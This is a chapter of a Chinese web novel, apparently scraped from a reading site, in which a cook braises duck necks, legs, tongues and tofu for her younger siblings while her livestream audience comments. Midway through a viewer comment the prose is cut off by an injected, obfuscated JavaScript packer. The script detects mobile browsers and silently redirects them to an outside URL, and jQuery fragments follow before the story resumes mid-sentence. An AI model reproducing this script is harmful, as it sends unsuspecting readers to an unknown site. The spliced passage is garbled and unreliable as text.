朱莉下午又去了趟菜场，这回不是给店里采购，她拎的全是鸭腿鸭掌鸭舌头这些，要给他们做卤鸭货。


    昨晚去超市买了一大堆零食，路过家连锁卤味店。


    文雯文超不知道小声商量着什么，然后文雯过来扯扯朱莉袖子，“姐，你会做这些吗？”


    瞧他们这眼神，都快黏在这些鸭货上了，就是心里很想很想吃了。


    “会，明天就给你们做。今天想吃先买点。”


    文超连连甩手，“不用了不用了，我们明天吃你做的。”


    文雯拉着姐姐快速头也不回地走了。


    她在老家买过这家连锁店的鸭脖子，因为学校特别流行吃这个，总看见一个同学买了后，晚自习时大家分着吃。


    有次下了晚自习和超超也去买了点，妈呀，就营业员手上那一捧的量，二十五块钱，把她和超超心疼坏了。尤其是超超，吃的时候直捶胸口，恨不得把那鸭脖子的骨头也嚼一嚼咽下去。


    文雯就想，姐姐这么厉害，卤鸭脖子肯定难不倒她。自己做，应该比外面买要便宜一点吧。


    弟弟妹妹主动提出来的，一定要满足。光做卤鸭脖子怎么够，给他们做一大锅，卤鸭腿，鸭掌，鸭舌头，鸭脖子，鸭头，鸭胗。再卤一些素的，豆干，藕片，毛豆。


    弟弟妹妹和奶奶这次回去，下次再见面就是过年了。


    大家都不舍，五号这天，文雯和文超也不想在家里待着了，家里没大人，倒不如来厨房。还能和爸爸妈妈多相处一会儿。


    两个人也戴上头套口罩和手套打包，五个人打包，均摊下来每个人的工作量也不大。


    这时也没有要补的菜，朱莉开始给弟弟妹妹做卤鸭货。


    先配一个卤料包。缺的栀子花白蔻朱莉刚刚也去买回来了，不过栀子花先不放进去。


    这个卤料包是朱莉的独家配方，她拿出小纱布袋子，看了眼监控，无声说了两个字——秘密。


    于是，她就让文雯和文超过来，替她挡住镜头。


    这种神秘的事情，朱文雯最乐意干了。其实这监控没有声音的，但文雯还是声音很轻地问，“姐，这配方哪来的？悄悄告诉我。”


    朱莉也发出和她一样的声音：“自己研究的。花点时间，一样样尝过去就可以了。”


    在厨房潜下心来待个十五六年，一门心思在如何把味道做的好点，再好点，再好点上面，总会有些突破的。那当然不是十次二十次地尝试，而是结果没出来之前所有的失败都不算数。


    师父手中的卤料配方已经很好了。但朱莉先天有种要做出自己印记来的信念。她不喜欢拿来就用。


    为了学怎么调配出自己满意的卤料配方，要好吃，还要兼调理功能。朱莉求师父通过国宴厨师进修名义开的申请，去药学院听了一年的中药课程，学习识别中药材和熟悉药材性能。


    上中药材课的老师是个退休返聘的老教授了，上课旁征博引，一年两个学期，记了五本笔记。


    尽管当时酒店工作也很忙，朱莉还是抽空把上面的都背下来了。期末考试认药材和背性能，她一个没错。这才能够在卤料配方上信手拈来。


    这种花时间得到的配方，朱莉是不舍得让别人知道的。


    文雯和文超见姐姐这个袋子里抓一点，那个袋子里抓一点，闻一闻，再抓一点。


    “像老中医抓药。”文雯笑说。


    朱莉厚脸皮地说：“要不是做厨师太有天分，我就去学中医了。”


    不锈钢面盆里大半盘鸭货，血水都已经泡出来了。


    先要给这些鸭货焯水，鸭脖子先放，接着鸭腿，鸭掌，鸭头，最后鸭舌头和鸭胗。


    接着熬卤汁，半锅冷水，把卤料包放进去，第一遍煮沸腾的水不能用，倒掉，第二遍再把栀子花加进去，煮到沸腾，加花椒藤椒辣椒等干料，再酱油老抽和蚝油。给弟弟妹妹吃，辣椒就要酌情减量。


    先把鸭脖子和鸭腿放进去煮，这两样需要的时间最长，二十分钟后放鸭掌和鸭头，最后要出锅前的十五分钟放鸭舌头和鸭胗。这两样放太早口感会变老。


    此时所有鸭货都已经上色了。


    朱莉做的时候，弟弟妹妹就在旁边看着。眼睛放光，直咽口水。


    当他们看到第一波捞出来的鸭舌头和鸭胗已经变至酱色，“和店里的一模一样！”文雯兴奋地跳起来，文超“嘶”了声，大家看向他，他很不好意思地想擦掉口水，却发现自己是戴着口罩的，赶紧说：“我去换个口罩。”


    朱莉超有成就感，拿出两个卤好的鸭腿先放一边，“先一人一个鸭腿解解馋。其他的再浸一会儿更入味。”


    最后放豆干、藕片和毛豆，六七分钟就可以了。


    关火后，朱莉再把豆干、藕片、毛豆都拨一边，盛出来的鸭货再放回锅里浸着，盖上盖子。


    香味弥漫着整个厨房。


    文雯和文超一人一个鸭腿，他们吃的地方都离打包区域很远，在门边。


    满满一锅卤鸭货呀，直播间里的人都馋疯了：


    ‘又是想成为老板弟弟妹妹的一天。’


    ‘四十岁的阿姨表示，年龄是回不去了，但是钱袋子鼓鼓的，能专门为我做一锅吗？’


    ‘是哦，老板，能单独预定吗？您要嫌麻烦，原材料这些我自个儿送上门去。’


    ‘卤料包啊，卤料包，我最好奇这个卤料包了。市面上的卤料包买过两次，不同牌子的，总觉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13113658|134963||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得差点事儿。’


    ‘每个厨师总有自己的独门配方，朱老板的肯定更加不一样，你们老是问卤料包不累吗？明知道问不到。’


    ‘不行了不行了，我得点个鸭脖子鸭锁骨外卖。’


    朱莉也是很通情达理的，不忙的时间里会看一看手机。


    ’卤料包确实不能告诉大家，但过两天我可以做些卤鸭腿卤豆干来卖，价格可能会高些，一个十三，大家能接受吗？今天生鲜摊去晚了，老板没那么多存货。’


    ‘能啊，太能了，只要你愿意做，价格随意开。’


    朱莉回：‘我价格都不是随意开的。’


    ‘朱莉，你还有多少绝活是我们不知道的，昨天口水鸡，哎哟我的妈呀，我今天还在回味那味道。’


    朱莉：‘两年不重样是没问题的。’


    厨房靠近门口的小桌子边，文雯和文超坐在那儿啃鸭腿和鸭脖。


    两人一人一个鸭腿极其专注地啃着，一口撕下来一大块儿。鸭腿肉多，爽啊！


    姐姐刚刚配的那卤料包里加了应该有十几种香料和药材吧，香味融进每一丝鸭肉里，而中药味呢，与这些香料味毫不违和。比店里买的香料味更柔和。唇齿留香，进入鼻尖的香味又有股绵长但不浓郁的中药材的芬芳。


    “还是姐姐做的好吃。”


    “香料味没那么重。”


    “嗯！”


    “给你一块鸭脖，这块上肉多。”


    文超：“你吃吧。”


    “给你的。我会自己挑。”


    文超接过：“谢谢。”


    这两小孩吃得香，让来让去又很有礼貌，看的直播间的人呀，馋的不行，羡慕的不行。


    一人在外，真的很羡慕这些有兄弟姐妹，而且感情还这么好的。


    此时，F区的各家卤鸭货店，生意比往日同时段好了不知多少。营业员一个人又要做店里生意，又要忙着接单打包，心里好奇，发生了什么事？


    刘敏秀看两个孩子吃得香，怕他们口渴，给他们把水倒上。


    文雯举起自己的鸭腿，“老妈你把口罩摘下吃一口。”


    “妈妈不吃，你们吃。”


    晚上，朱莉拿了一部分卤鸭货回家，点了六杯手打柠檬茶，投上一集九十分钟的综艺，一家人边吃鸭货边看综艺。


    奶奶对现在的综艺内容接受有障碍，很多地方不知道笑点在哪里，但她不缺给她解释的人呀。


    说说笑笑，真不想综艺结束。


    文雯又收集了六只鸭子，加上前几天的四只，给它们排成一列。看综艺的过程中，总有那么几种鸭子突如其来的“咕嘎”几声。


    可惜老家没有这种手打柠檬茶的店了。